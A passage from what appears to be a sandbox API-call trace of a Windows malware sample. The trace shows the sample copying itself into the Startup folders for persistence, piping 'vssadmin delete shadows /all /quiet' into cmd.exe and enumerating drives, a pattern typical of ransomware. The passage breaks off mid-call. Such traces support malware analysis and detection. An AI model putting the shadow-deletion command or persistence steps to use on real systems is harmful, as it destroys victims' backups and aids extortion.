hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x496780, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x496780*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0155.285] RegCloseKey (hKey=0x244) returned 0x0 [0155.285] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x438530 | out: hHeap=0x420000) returned 1 [0155.285] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.285] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8c) returned 0x438530 [0155.285] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0155.286] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x496780, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0155.286] RegCloseKey (hKey=0x244) returned 0x0 [0155.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x438530 | out: hHeap=0x420000) returned 1 [0155.286] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0155.286] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.286] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x486778, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x89 [0155.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x496780 | out: hHeap=0x420000) returned 1 [0155.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486778 | out: hHeap=0x420000) returned 1 [0155.287] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x242a020 [0155.290] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.290] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45eec8 [0155.290] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.290] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45eef0 [0155.290] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.290] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.290] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0155.290] lstrlenW (lpString="kernel32.dll") returned 12 [0155.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45eec8 | out: hHeap=0x420000) returned 1 [0155.290] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45eef0 | out: hHeap=0x420000) returned 1 [0155.290] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0155.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0155.292] ReadFile (in: hFile=0x244, lpBuffer=0x242a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x242a020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0155.303] WriteFile (in: hFile=0x248, lpBuffer=0x242a020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x242a020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0155.307] ReadFile (in: hFile=0x244, lpBuffer=0x242a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x242a020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0155.307] CloseHandle (hObject=0x248) returned 1 [0155.308] CloseHandle (hObject=0x244) returned 1 [0155.308] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.309] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45eec8 [0155.309] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.309] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45f210 [0155.309] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.309] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.309] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0155.309] lstrlenW (lpString="kernel32.dll") returned 12 [0155.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f210 | out: hHeap=0x420000) returned 1 [0155.309] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45eec8 | out: hHeap=0x420000) returned 1 [0155.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x242a020 | out: hHeap=0x420000) returned 1 [0155.314] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x486778 [0155.314] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x496780 [0155.314] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.314] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45eec8 [0155.314] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eec8, Size=0x40) returned 0x43db48 [0155.314] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43db48, Size=0x80) returned 0x4383c8 [0155.314] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383c8, Size=0x100) returned 0x4383c8 [0155.315] lstrlenW (lpString="") returned 0 [0155.315] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.315] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8c) returned 0x438530 [0155.315] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0155.315] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x496780, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0155.315] RegCloseKey (hKey=0x244) returned 0x0 [0155.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x438530 | out: hHeap=0x420000) returned 1 [0155.315] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0155.315] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.315] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x486778, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x78 [0155.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x496780 | out: hHeap=0x420000) returned 1 [0155.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486778 | out: hHeap=0x420000) returned 1 [0155.316] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x2423020 [0155.318] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.319] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45f120 [0155.319] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.319] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45eec8 [0155.319] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.319] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.319] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0155.319] lstrlenW (lpString="kernel32.dll") returned 12 [0155.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f120 | out: hHeap=0x420000) returned 1 [0155.319] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45eec8 | out: hHeap=0x420000) returned 1 [0155.319] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0155.319] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.320] CloseHandle (hObject=0x244) returned 1 [0155.320] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.320] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464be0, Size=0x20) returned 0x45f148 [0155.320] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.320] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45eec8 [0155.320] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.320] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.320] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0155.320] lstrlenW (lpString="kernel32.dll") returned 12 [0155.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45eec8 | out: hHeap=0x420000) returned 1 [0155.320] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f148 | out: hHeap=0x420000) returned 1 [0155.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x2423020 | out: hHeap=0x420000) returned 1 [0155.323] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x466768 | out: hHeap=0x420000) returned 1 [0155.323] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x476770 | out: hHeap=0x420000) returned 1 [0155.324] lstrlenW (lpString="%windir%\\System32") returned 17 [0155.324] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d878 | out: hHeap=0x420000) returned 1 [0155.324] lstrlenW (lpString="%appdata%") returned 9 [0155.324] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45efb8 | out: hHeap=0x420000) returned 1 [0155.324] lstrlenW (lpString="%sh(Startup)%") returned 13 [0155.324] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45ef90 | out: hHeap=0x420000) returned 1 [0155.325] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0155.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dc20 | out: hHeap=0x420000) returned 1 [0155.325] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.325] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45efe0 [0155.325] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45efe0, Size=0x40) returned 0x43d950 [0155.325] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d950, Size=0x80) returned 0x4383c8 [0155.325] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.325] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45eec8 [0155.325] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1fffc) returned 0x466768 [0155.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x486770 [0155.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x496778 [0155.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.326] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45ef68 [0155.326] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45ef68, Size=0x40) returned 0x43d8c0 [0155.326] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d8c0, Size=0x80) returned 0x438450 [0155.326] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438450, Size=0x100) returned 0x438530 [0155.326] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x438530 | out: hHeap=0x420000) returned 1 [0155.326] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x486770, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0155.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x496778 | out: hHeap=0x420000) returned 1 [0155.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486770 | out: hHeap=0x420000) returned 1 [0155.327] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0155.331] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0155.331] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0155.332] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0155.332] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xdbc, dwThreadId=0xdc0)) returned 1 [0155.365] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0155.365] WriteFile (in: hFile=0x24c, lpBuffer=0x4383c8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x4383c8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0155.365] CloseHandle (hObject=0x25c) returned 1 [0155.365] CloseHandle (hObject=0x258) returned 1 [0155.365] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x466768 | out: hHeap=0x420000) returned 1 [0155.365] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0155.365] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.365] lstrlenW (lpString="%comspec%") returned 9 [0155.365] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45eec8 | out: hHeap=0x420000) returned 1 [0155.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0155.366] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x464b98 [0155.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x464b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0155.366] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463d58 [0155.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x463d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0155.367] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464be0, Size=0x20) returned 0x45f080 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45f080, Size=0x40) returned 0x43d7a0 [0155.367] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0155.367] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xd0) returned 0x43ba90 [0155.367] GetLogicalDrives () returned 0x4 [0155.367] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10014) returned 0x466768 [0155.367] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464be0, Size=0x20) returned 0x45f210 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45f210, Size=0x40) returned 0x43d878 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d878, Size=0x80) returned 0x4653c0 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4653c0, Size=0x100) returned 0x4383c8 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383c8, Size=0x200) returned 0x476788 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x476788, Size=0x400) returned 0x476788 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x476788, Size=0x800) returned 0x476788 [0155.367] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x476788, Size=0x1000) returned 0x476788 [0155.367] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x487778 [0155.367] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4648b0 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x463cb8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4648f8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x463d68 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464970 [0155.368] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463d68, Size=0x8) returned 0x463be8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464910 [0155.368] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463be8, Size=0x10) returned 0x4649b8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464b38 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464a60 [0155.368] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4649b8, Size=0x20) returned 0x45eec8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464988 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463c18 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x464898 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x464b20 [0155.368] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eec8, Size=0x40) returned 0x43dcf8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x464928 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x464b50 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x464af0 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x4649a0 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464a30 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464a00 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463bb8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464b68 [0155.368] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43dcf8, Size=0x80) returned 0x4653c0 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464a48 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464ad8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4649b8 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464958 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4649d0 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x464a78 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464b80 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463c88 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464940 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464a18 [0155.368] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x464aa8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4648c8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x464b08 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x464ac0 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477a00 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477928 [0155.369] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4653c0, Size=0x100) returned 0x4383c8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477a30 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477aa8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4777c0 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x477820 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477838 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477958 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463c68 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477808 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4778c8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477850 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x463bc8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4777d8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477a18 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463cc8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477a48 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477868 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4778b0 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477910 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4778e0 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477898 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x4777f0 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477a60 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x477940 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4778f8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, 